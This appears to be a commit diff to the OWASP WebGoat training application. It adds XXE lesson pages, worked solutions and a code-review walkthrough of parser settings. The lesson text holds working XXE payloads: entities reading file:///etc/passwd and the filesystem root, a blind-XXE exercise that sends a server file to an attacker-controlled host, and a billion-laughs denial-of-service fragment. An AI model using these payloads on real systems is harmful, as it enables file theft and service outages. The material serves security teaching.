Extend XXE lesson with more content and add solution description
Remove obsolete images Add stylesheet items specific for asciidoctor so we can for icons and source numbering
@ -115,6 +115,7 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
|
||||
Map<String, Object> attributes = new HashMap<>();
|
||||
attributes.put("source-highlighter", "coderay");
|
||||
attributes.put("backend", "xhtml");
|
||||
attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS);
|
||||
|
||||
Map<String, Object> options = new HashMap<>();
|
||||
options.put("attributes", attributes);
|
||||
|
@ -3,7 +3,6 @@ package org.owasp.webgoat.asciidoc;
|
||||
import org.asciidoctor.ast.AbstractBlock;
|
||||
import org.asciidoctor.extension.InlineMacroProcessor;
|
||||
import org.springframework.core.env.Environment;
|
||||
import org.springframework.util.StringUtils;
|
||||
import org.springframework.web.context.request.RequestContextHolder;
|
||||
import org.springframework.web.context.request.ServletRequestAttributes;
|
||||
|
||||
|
@ -0,0 +1 @@
|
||||
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 100 100" height="75px" id="Calque_2" version="1.1" viewBox="0 0 100 100" width="75px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g><path d="M16.64,33.53c0.63,0,1.25,0.16,1.81,0.46c0.88,0.49,1.52,1.28,1.8,2.25c0.28,0.97,0.18,1.98-0.31,2.86l-1.23,2.26 l6.43,3.52l3.52-6.43l-2.26-1.23c-1.82-1-2.49-3.29-1.5-5.11c0.67-1.21,1.93-1.96,3.31-1.96c0.63,0,1.25,0.16,1.81,0.46l2.25,1.24 l3.52-6.43l-7.67-4.2l1.92-3.49c0.62-1.14,0.2-2.57-0.94-3.2c-0.34-0.19-0.73-0.29-1.12-0.29c-0.87,0-1.66,0.47-2.07,1.23L24,18.96 l-7.67-4.2l-4.2,7.67l-3.49-1.91c-0.35-0.19-0.74-0.29-1.13-0.29c-0.86,0-1.65,0.47-2.07,1.22c-0.62,1.14-0.2,2.57,0.94,3.2 l3.49,1.91l-4.2,7.67l6.43,3.52l1.24-2.26C14,34.28,15.27,33.53,16.64,33.53z"/><path d="M34.97,68.32c0-2.07,1.69-3.761,3.77-3.761h2.57V57.23h-8.74v-3.98c0-1.3-1.06-2.36-2.36-2.36 c-1.29,0-2.35,1.061-2.35,2.36v3.98h-8.74v8.739h-3.99c-1.29,0-2.35,1.061-2.35,2.351c0,1.3,1.06,2.359,2.35,2.359h3.99v8.74h7.33 v-2.57c0-2.08,1.69-3.77,3.76-3.77c2.08,0,3.77,1.689,3.77,3.77v2.57h7.33v-7.33h-2.57C36.66,72.09,34.97,70.4,34.97,68.32z"/><path d="M71.25,68.32c0-1.29-1.06-2.351-2.35-2.351h-3.99V57.23h-8.74v-3.98c0-1.3-1.05-2.35-2.35-2.36 c-1.29,0.011-2.34,1.061-2.34,2.36v3.98h-8.74v8.739h-3.99c-1.3,0-2.35,1.061-2.35,2.351c0,1.3,1.05,2.359,2.35,2.359h3.99v8.74 h8.74v3.98c0,1.3,1.05,2.359,2.35,2.359s2.35-1.06,2.35-2.359v-3.98h8.73v-8.74h3.99C70.2,70.68,71.25,69.62,71.25,68.32z"/><path d="M92.49,65.97h-3.98V57.23h-8.74v-3.99c0-0.641-0.26-1.23-0.689-1.66c-0.43-0.42-1.01-0.69-1.66-0.69 c-1.3,0-2.36,1.061-2.36,2.36v3.98h-8.72v7.329h2.57c2.07,0,3.76,1.69,3.76,3.761c0,2.08-1.689,3.77-3.76,3.77h-2.57v7.33h7.311 v-2.57c0-2.08,1.689-3.77,3.76-3.77c2.08,0,3.77,1.689,3.77,3.77v2.57h7.33v-8.74h3.98c1.3,0,2.359-1.06,2.359-2.359 C94.85,67.02,93.79,65.97,92.49,65.97z"/><path d="M59.98,44.73c0,1.29,1.06,2.35,2.359,2.35h3.98v8.74h7.33v-2.57c0-2.08,1.689-3.77,3.77-3.77c1.03,0,1.97,0.43,2.66,1.11 c0.68,0.68,1.1,1.62,1.1,2.66v2.57h7.33v-7.33H85.94c-2.08,0-3.771-1.69-3.771-3.77c0-2.07,1.69-3.76,3.771-3.76h2.569v-7.33h-8.74 v-3.98c0-1.3-1.06-2.36-2.35-2.36c-1.3,0-2.36,1.06-2.36,2.36v3.98H66.32v8.74h-3.98C61.04,42.37,59.98,43.43,59.98,44.73z"/><path d="M38.74,47.08h3.98v8.74h7.33v-2.57c0-1.04,0.42-1.98,1.11-2.67c0.68-0.68,1.62-1.1,2.66-1.1h0.01 c2.08,0,3.77,1.69,3.77,3.77v2.57h7.311v-7.33h-2.57c-2.08,0-3.77-1.69-3.77-3.77c0-2.07,1.689-3.76,3.77-3.76h2.57v-7.33h-8.74 v-3.98c0-1.3-1.06-2.36-2.35-2.36c-1.301,0-2.36,1.06-2.36,2.36v3.98h-8.74v8.74h-3.98c-1.3,0-2.36,1.06-2.36,2.35 C36.38,46.02,37.44,47.08,38.74,47.08z"/></g></svg>
|
After Width: | Height: | Size: 2.7 KiB |
Before Width: | Height: | Size: 4.9 KiB |
Before Width: | Height: | Size: 549 B |
Before Width: | Height: | Size: 2.2 KiB |
Before Width: | Height: | Size: 3.8 KiB |
Before Width: | Height: | Size: 1.3 KiB |
Before Width: | Height: | Size: 690 B |
Before Width: | Height: | Size: 563 B |
Before Width: | Height: | Size: 1.0 KiB |
Before Width: | Height: | Size: 482 B |
Before Width: | Height: | Size: 684 B |
Before Width: | Height: | Size: 1.0 KiB |
Before Width: | Height: | Size: 476 B |
Before Width: | Height: | Size: 1.9 KiB |
Before Width: | Height: | Size: 3.1 KiB |
Before Width: | Height: | Size: 1.7 KiB |
Before Width: | Height: | Size: 2.9 KiB |
Before Width: | Height: | Size: 613 B |
Before Width: | Height: | Size: 784 B |
Before Width: | Height: | Size: 2.6 KiB |
Before Width: | Height: | Size: 2.1 KiB |
Before Width: | Height: | Size: 3.5 KiB |
Before Width: | Height: | Size: 878 B |
Before Width: | Height: | Size: 1.1 KiB |
Before Width: | Height: | Size: 716 B |
Before Width: | Height: | Size: 894 B |
Before Width: | Height: | Size: 95 KiB |
Before Width: | Height: | Size: 83 KiB |
Before Width: | Height: | Size: 83 KiB |
Before Width: | Height: | Size: 84 KiB |
Before Width: | Height: | Size: 83 KiB |
Before Width: | Height: | Size: 798 B |
Before Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 37 KiB |
Before Width: | Height: | Size: 119 KiB |
Before Width: | Height: | Size: 265 KiB |
Before Width: | Height: | Size: 324 KiB |
Before Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 669 B |
Before Width: | Height: | Size: 21 KiB |
Before Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 4.8 KiB |
Before Width: | Height: | Size: 2.2 KiB |
Before Width: | Height: | Size: 3.5 KiB |
Before Width: | Height: | Size: 3.6 KiB |
Before Width: | Height: | Size: 6.3 KiB |
Before Width: | Height: | Size: 4.5 KiB |
Before Width: | Height: | Size: 2.0 KiB |
Before Width: | Height: | Size: 3.0 KiB |
Before Width: | Height: | Size: 49 B |
Before Width: | Height: | Size: 38 KiB |
@ -16,6 +16,8 @@
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/css/animate.css}"/>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/css/coderay.css}"/>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/css/lessons.css}"/>
|
||||
<!-- <link rel="stylesheet" type="text/css" th:href="@{/css/asciidoctor-default.css}"/>-->
|
||||
|
||||
<!-- end of CSS -->
|
||||
|
||||
<!-- JS -->
|
||||
|
@ -38,10 +38,6 @@ import org.springframework.web.servlet.i18n.FixedLocaleResolver;
|
||||
|
||||
import java.util.Locale;
|
||||
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.ArgumentMatchers.anyString;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
public class AssignmentEndpointTest {
|
||||
|
||||
@Mock
|
||||
|
@ -1,27 +1,22 @@
|
||||
package org.owasp.webgoat.path_traversal;
|
||||
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.After;
|
||||
import org.junit.Before;
|
||||
import org.junit.Rule;
|
||||
import org.junit.Test;
|
||||
import org.junit.rules.TemporaryFolder;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.mockito.Mockito;
|
||||
import org.owasp.webgoat.plugins.LessonTest;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.mock.web.MockMultipartFile;
|
||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
@RunWith(SpringJUnit4ClassRunner.class)
|
||||
public class ProfileUploadFixTest extends LessonTest {
|
||||
|
||||
|
@ -33,8 +33,10 @@ import org.springframework.context.annotation.Scope;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
import javax.xml.bind.JAXBContext;
|
||||
import javax.xml.bind.JAXBException;
|
||||
import javax.xml.bind.Unmarshaller;
|
||||
import javax.xml.stream.XMLInputFactory;
|
||||
import javax.xml.stream.XMLStreamException;
|
||||
import javax.xml.stream.XMLStreamReader;
|
||||
import java.io.IOException;
|
||||
import java.io.StringReader;
|
||||
@ -76,17 +78,18 @@ public class Comments {
|
||||
return allComments.stream().sorted(Comparator.comparing(Comment::getDateTime).reversed()).collect(Collectors.toList());
|
||||
}
|
||||
|
||||
protected Comment parseXml(String xml) throws Exception {
|
||||
JAXBContext jc = JAXBContext.newInstance(Comment.class);
|
||||
/**
|
||||
* Notice this parse method is not a "trick" to get the XXE working, we need to catch some of the exception which
|
||||
* might happen during when users post message (we want to give feedback track progress etc). In real life the
|
||||
* XmlMapper bean defined above will be used automatically and the Comment class can be directly used in the
|
||||
* controller method (instead of a String)
|
||||
*/
|
||||
protected Comment parseXml(String xml) throws JAXBException, XMLStreamException {
|
||||
var jc = JAXBContext.newInstance(Comment.class);
|
||||
var xif = XMLInputFactory.newInstance();
|
||||
var xsr = xif.createXMLStreamReader(new StringReader(xml));
|
||||
|
||||
XMLInputFactory xif = XMLInputFactory.newFactory();
|
||||
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);
|
||||
xif.setProperty(XMLInputFactory.IS_VALIDATING, false);
|
||||
|
||||
xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
|
||||
XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(xml));
|
||||
|
||||
Unmarshaller unmarshaller = jc.createUnmarshaller();
|
||||
var unmarshaller = jc.createUnmarshaller();
|
||||
return (Comment) unmarshaller.unmarshal(xsr);
|
||||
}
|
||||
|
||||
|
@ -48,7 +48,7 @@ public class ContentTypeAssignment extends AssignmentEndpoint {
|
||||
@Autowired
|
||||
private Comments comments;
|
||||
|
||||
@PostMapping(path = "xxe/content-type", consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@PostMapping(path = "xxe/content-type")
|
||||
@ResponseBody
|
||||
public AttackResult createNewUser(@RequestBody String commentStr, @RequestHeader("Content-Type") String contentType) throws Exception {
|
||||
AttackResult attackResult = failed(this).build();
|
||||
|
@ -3,19 +3,17 @@
|
||||
<script th:src="@{/lesson_js/xxe.js}" language="JavaScript"></script>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:XXE_plan.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:XXE_intro.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:XXE_simple_introduction.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:XXE_simple.adoc"></div>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/xxe.css}"/>
|
||||
@ -75,6 +73,16 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="lesson-page-solution">
|
||||
<div class="adoc-content" th:replace="doc:XXE_simple_solution.adoc"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:XXE_code.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:XXE_changing_content_type.adoc"></div>
|
||||
<div class="attack-container">
|
||||
@ -132,6 +140,11 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="lesson-page-solution">
|
||||
<div class="adoc-content" th:replace="doc:XXE_changing_content_type_solution.adoc"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<div class="adoc-content" th:replace="doc:XXE_overflow.adoc"></div>
|
||||
|
BIN
webgoat-lessons/xxe/src/main/resources/images/etc_password.png
Normal file
After Width: | Height: | Size: 564 KiB |
BIN
webgoat-lessons/xxe/src/main/resources/images/xxe-parser.png
Normal file
After Width: | Height: | Size: 189 KiB |
@ -4,8 +4,7 @@ In some cases you will see no output because although your attack might have wor
|
||||
Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
|
||||
Let's start with an example, in this case we reference an external DTD which we control on our own server.
|
||||
|
||||
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
|
||||
use this server to ping it using `webWolfRootLink:landing[noLink]`
|
||||
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example use this server to ping it using `webWolfRootLink:landing[noLink]`
|
||||
|
||||
How do we use this endpoint to verify whether we can perform XXE?
|
||||
|
||||
@ -50,5 +49,4 @@ Now in WebWolf browse to 'Incoming requests' and you will see:
|
||||
}
|
||||
----
|
||||
|
||||
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection
|
||||
we are basically able to reach the same effect as we did in the beginning with the curl command.
|
||||
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection we are basically able to reach the same effect as we did in the beginning with the curl command.
|
||||
|
@ -1,8 +1,6 @@
|
||||
== Blind XXE assignment
|
||||
|
||||
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
|
||||
which will upload the contents of a file secret.txt from the WebGoat server to our WebWolf server. You can use WebWolf to serve your DTD.
|
||||
The secret.txt is located on the WebGoat server in this location, so you do not need to scan all directories and files:
|
||||
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD which will upload the contents of a file secret.txt from the WebGoat server to our WebWolf server. You can use WebWolf to serve your DTD. The secret.txt is located on the WebGoat server in this location, so you do not need to scan all directories and files:
|
||||
|
||||
|
||||
|===
|
||||
|
@ -1,7 +1,6 @@
|
||||
== Modern REST framework
|
||||
|
||||
In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about.
|
||||
So this might result in JSON endpoints being vulnerable to XXE attacks.
|
||||
In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about. So this might result in JSON endpoints being vulnerable to XXE attacks.
|
||||
|
||||
Again same exercise but try to perform the same XML injection as we did in first assignment.
|
||||
|
||||
|
@ -0,0 +1,71 @@
|
||||
=== Assignment solution
|
||||
|
||||
The idea behind this assignment is that while it may look that the application is only accepting JSON but if we change the body of the message to XML the framework might process it. When you try entering a comment the body of request will be:
|
||||
|
||||
[source, json]
|
||||
----
|
||||
{"text":"My first comment"}
|
||||
----
|
||||
|
||||
This is a normal json message, let's try to change the content-type of the request
|
||||
|
||||
[source]
|
||||
----
|
||||
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
|
||||
Content-Type: application/xml
|
||||
|
||||
{"text":"My first comment"}
|
||||
----
|
||||
|
||||
this results in the following exception:
|
||||
|
||||
[source]
|
||||
----
|
||||
javax.xml.bind.UnmarshalException\n - with linked exception:\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,1]\nMessage: Content is not allowed in prolog.
|
||||
----
|
||||
|
||||
Depending on the XML parser you might get a better error message, in this case the message is a bit cryptic, it means that we are not sending valid xml. For example the Jackson library gives the following message:
|
||||
|
||||
[source]
|
||||
----
|
||||
JSON parse error: Unexpected character '{' (code 123) in prolog; expected
|
||||
'<'\n at [row,col {unknown-source}]: [1,1]; nested exception is com.fasterxml.jackson.core.JsonParseException:
|
||||
Unexpected character '{' (code 123) in prolog; expected '<'\n at [row,col {unknown-source}]: [1,1]“
|
||||
----
|
||||
|
||||
This error message appears because we are still sending a json message towards the endpoint, so if we intercept and change change the json message to a xml message:
|
||||
|
||||
[souce]
|
||||
----
|
||||
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
|
||||
Content-Type: application/xml
|
||||
|
||||
<text>This is my first message</text>
|
||||
----
|
||||
|
||||
Again an error message from the endpoint:
|
||||
|
||||
[source]
|
||||
----
|
||||
"javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[com.sun.istack.SAXParseException2; lineNumber: 1; columnNumber: 7; unexpected element (uri:\\\"\\\", local:\\\"text\\\"). Expected elements are <{}comment>]
|
||||
----
|
||||
|
||||
The parser complains that the message is not a valid xml message and needs to be embedded in a `comment` tag:
|
||||
|
||||
[source, xml]
|
||||
----
|
||||
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
|
||||
Content-Type: application/xml
|
||||
|
||||
<comment><text>This is my first message</text></comment>
|
||||
----
|
||||
|
||||
The endpoint no longer complains and if you refresh the page in WebGoat the posted comments appear. For the attack to work we need to post:
|
||||
|
||||
[source, xml]
|
||||
----
|
||||
POST http://localhost:8080/WebGoat/xxe/content-type HTTP/1.1
|
||||
Content-Type: application/xml
|
||||
|
||||
<!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;This is my first message</text></comment>
|
||||
----
|
@ -0,0 +1,77 @@
|
||||
=== Find XXE with a code review
|
||||
|
||||
Now we know how the injection work, let's look at why this can happen. In Java applications XML library configuration is not secure by default, and you have to change the settings. Suppose you find the following code snippet during a code review:
|
||||
|
||||
[source, java]
|
||||
----
|
||||
public XmlMapper xmlMapper() {
|
||||
return new XmlMapper(XMLInputFactory.newInstance()) // <1>
|
||||
}
|
||||
----
|
||||
|
||||
.while having a look at the release notes of the Jackson library you read:
|
||||
[quote, Jackson 2.7.8 (26-Sep-2016)]
|
||||
211: Disable ``SUPPORT_DTD`` for ``XMLInputFactory`` unless explicitly overridden
|
||||
|
||||
==== Question: is the parser vulnerable?
|
||||
|
||||
This piece of code defines a new `XmlMapper` (`ObjectMapper`) which is a popular framework for reading and writing xml and json. If we follow the code one level deeper we find:
|
||||
|
||||
[source, java]
|
||||
----
|
||||
/**
|
||||
* @since 2.4
|
||||
*/
|
||||
public XmlMapper(XMLInputFactory inputF) { // <2>
|
||||
this(new XmlFactory(inputF)); //<3>
|
||||
}
|
||||
----
|
||||
<2> This is the 'constructor' we called from the listing above (1)
|
||||
<3> Call to another 'constructor' and initialize a new instance of `XmlFactory`
|
||||
|
||||
Let's take a look at the source code of `XMLFactory`
|
||||
|
||||
[source, java]
|
||||
----
|
||||
public XmlFactory(XMLInputFactory xmlIn) { // <4>
|
||||
this(xmlIn, null);}// <5>
|
||||
|
||||
protected XmlFactory(XMLInputFactory xmlIn, XMLOutputFactory xmlOut, ...){ // <6>
|
||||
if (xmlIn == null) { //<7>
|
||||
xmlIn = XMLInputFactory.newInstance();
|
||||
// as per [dataformat-xml#190], disable external entity expansion by default
|
||||
xmlIn.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, Boolean.FALSE); // <8>
|
||||
// and ditto wrt [dataformat-xml#211], SUPPORT_DTD
|
||||
xmlIn.setProperty(XMLInputFactory.SUPPORT_DTD, Boolean.FALSE);// <9>
|
||||
}
|
||||
}
|
||||
----
|
||||
<4> This is the 'constructor' definition of the new instance created in 3
|
||||
<5> Call to another 'constructor' defined in 6
|
||||
<8> XXE protection
|
||||
<9> XXE protection
|
||||
|
||||
In 7 we know `if (xmlIn == null)` will not be true because if we look at our declaration at the top we created our own instance `XMLInputFactory.newInstance()` which is not `null`. This means that we have a XML parser which is by default **not** secured against XXE injection. The interesting part at 8 and 9 is the extra protection nested inside the if statement.
|
||||
|
||||
If we look at the Spring Boot framework for example how they initialize the same parser:
|
||||
|
||||
[source, java]
|
||||
----
|
||||
public ObjectMapper create() {
|
||||
return new XmlMapper(xmlInputFactory()); // <1>
|
||||
}
|
||||
|
||||
private static XMLInputFactory xmlInputFactory() {
|
||||
XMLInputFactory inputFactory = XMLInputFactory.newInstance();
|
||||
inputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
|
||||
inputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
|
||||
return inputFactory;
|
||||
}
|
||||
----
|
||||
<1> Call to a method which initializes the parser safely
|
||||
|
||||
As you can see the explicitly define the ``XMLInputFactory`` through the private method ``xmlInputFactory()`` which actually sets the same properties to the parser as we saw in the previous listing.
|
||||
|
||||
As you can see this it is not that easy to find out whether the parser is secure against the injection you really have to dig deep in the code, and the library to find out what the parser settings are.
|
||||
|
||||
Take a look at https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html[XXE prevention sheet] for more ways to secure your parser.
|
@ -1,7 +1,6 @@
|
||||
=== What is a XML entity?
|
||||
|
||||
An XML Entity allows tags to be defined that will be replaced by content when the XML Document is parsed.
|
||||
In general there are three types of entities:
|
||||
An XML Entity allows tags to be defined that will be replaced by content when the XML Document is parsed. In general there are three types of entities:
|
||||
|
||||
* internal entities
|
||||
* external entities
|
||||
@ -9,30 +8,17 @@ In general there are three types of entities:
|
||||
|
||||
An entity must be created in the Document Type Definition (DTD), let's start with an example:
|
||||
|
||||
[source]
|
||||
----
|
||||
<?xml version="1.0" standalone="yes" ?>
|
||||
<!DOCTYPE author [
|
||||
<!ELEMENT author (#PCDATA)>
|
||||
<!ENTITY js "Jo Smith">
|
||||
]>
|
||||
<author>&js;</author>
|
||||
----
|
||||
[role="lesson-image"]
|
||||
image::images/xxe-parser.png[XML parser]
|
||||
|
||||
As you can see once the XML document is processed by the parser, it will replace the defined entity `js` with the defined constant "Jo Smith". As you can see this has many advantages as you can change `js` in one place to for example "John Smith".
|
||||
|
||||
So everywhere you use the entity `&js;` the parser will replace it with the value defined in the entity.
|
||||
|
||||
=== What is an XXE injection?
|
||||
|
||||
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a
|
||||
reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data,
|
||||
denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
|
||||
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
|
||||
|
||||
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative
|
||||
paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this
|
||||
trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests or launching a CSRF attack to
|
||||
any unprotected internal services. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues
|
||||
may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access
|
||||
local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
|
||||
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests or launching a CSRF attack to any unprotected internal services. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
|
||||
|
||||
In general we can distinguish the following kind of XXE attacks:
|
||||
|
||||
|
@ -1,7 +1,6 @@
|
||||
== XXE mitigation
|
||||
|
||||
In order to protect against XXE attacks you need to make sure you validate the input received from an untrusted client.
|
||||
In the Java world you can also instruct your parser to ignore DTD completely, for example:
|
||||
In order to protect against XXE attacks you need to make sure you validate the input received from an untrusted client. In the Java world you can also instruct your parser to ignore DTD completely, for example:
|
||||
|
||||
[source]
|
||||
----
|
||||
@ -18,12 +17,9 @@ xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
|
||||
xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
|
||||
----
|
||||
|
||||
For more information about configuration, see https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
|
||||
For more information about configuration, see https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html[XXE prevention sheet]
|
||||
|
||||
|
||||
==== Validate
|
||||
|
||||
Implement proper validation for the Content-type and Accept header do not simply rely on the framework to handle
|
||||
the incoming request. Also if the client specifies a proper accept header return with a `406/Not Acceptable.
|
||||
|
||||
`
|
||||
Implement proper validation for the Content-type and Accept header do not simply rely on the framework to handle the incoming request. If the client specifies a proper accept header return with a `406/Not Acceptable.
|
@ -21,9 +21,7 @@ With the same XXE attack we can perform a DOS service attack towards the server.
|
||||
<lolz>&lol9;</lolz>
|
||||
----
|
||||
|
||||
When XML parser loads this document, it sees that it includes one root element, "lolz", that contains the text "&lol9;". However, "&lol9;" is a defined
|
||||
entity that expands to a string containing ten "&lol8;" strings. Each "&lol8;" string is a defined entity that expands to ten "&lol7;" strings, and so on.
|
||||
After all the entity expansions have been processed, this small (< 1 KB) block of XML will actually take up almost 3 gigabytes of memory.
|
||||
When XML parser loads this document, it sees that it includes one root element, "lolz", that contains the text "&lol9;". However, "&lol9;" is a defined entity that expands to a string containing ten "&lol8;" strings. Each "&lol8;" string is a defined entity that expands to ten "&lol7;" strings, and so on. After all the entity expansions have been processed, this small (< 1 KB) block of XML will actually take up almost 3 gigabytes of memory.
|
||||
|
||||
This is called a "Billion laughs", more information can be found here: https://en.wikipedia.org/wiki/Billion_laughs
|
||||
|
||||
|
@ -0,0 +1,60 @@
|
||||
=== XXE example
|
||||
|
||||
Let's look at an example of an XXE injection, in the previous section we saw that XML entities can be used as follows:
|
||||
|
||||
[source, xml]
|
||||
----
|
||||
<?xml version="1.0" standalone="yes" ?>
|
||||
<!DOCTYPE author [
|
||||
<!ELEMENT author (#PCDATA)>
|
||||
<!ENTITY js "Jo Smith">
|
||||
]>
|
||||
<author>&js;</author>
|
||||
----
|
||||
|
||||
=== External DTD declaration
|
||||
|
||||
Defining these entities also makes it possible to define another DTD in an external file, for example:
|
||||
|
||||
[source, xml]
|
||||
----
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE note SYSTEM "email.dtd">
|
||||
<email>
|
||||
<to>webgoat@webgoat.org</to>
|
||||
<from>webwolf@webwolf.org</from>
|
||||
<subject>Your app is great, but contains flaws</subject>
|
||||
<body>Hi, your application contains some SQL injections</body>
|
||||
</email>
|
||||
----
|
||||
|
||||
and the `email.dtd` can be defined as follows:
|
||||
|
||||
[source, dtd]
|
||||
----
|
||||
<!ELEMENT email (to,from,title,body)>
|
||||
<!ELEMENT to (#PCDATA)>
|
||||
<!ELEMENT from (#PCDATA)>
|
||||
<!ELEMENT subject (#PCDATA)>
|
||||
<!ELEMENT body (#PCDATA)>
|
||||
----
|
||||
|
||||
=== XXE
|
||||
|
||||
If a XML parser is configured to allow external DTD or entities we can change the following XML snippet with the following:
|
||||
|
||||
[source, xml]
|
||||
----
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!DOCTYPE author [
|
||||
<!ENTITY js SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<author>&js;</author>
|
||||
----
|
||||
|
||||
Now what happens? We defined an include from the local filesystem, the XML parser will load the file and will add the contents wherever the entity is referenced. Let's assume the XML message is returned to the user the message will be:
|
||||
|
||||
[role="lesson-image"]
|
||||
image::images/etc_password.png[Password]
|
||||
|
||||
NOTE: The extra document type definition(DOCTYPE) is something you can always add to the xml document and if the parser settings are enabled to allow external entities to be processed you are off to a good start for finding a XXE injection.
|
@ -0,0 +1,52 @@
|
||||
=== Assignment solution
|
||||
|
||||
The goal of the exercise is to list the root of the file system. If we first try a normal post we see the following request:
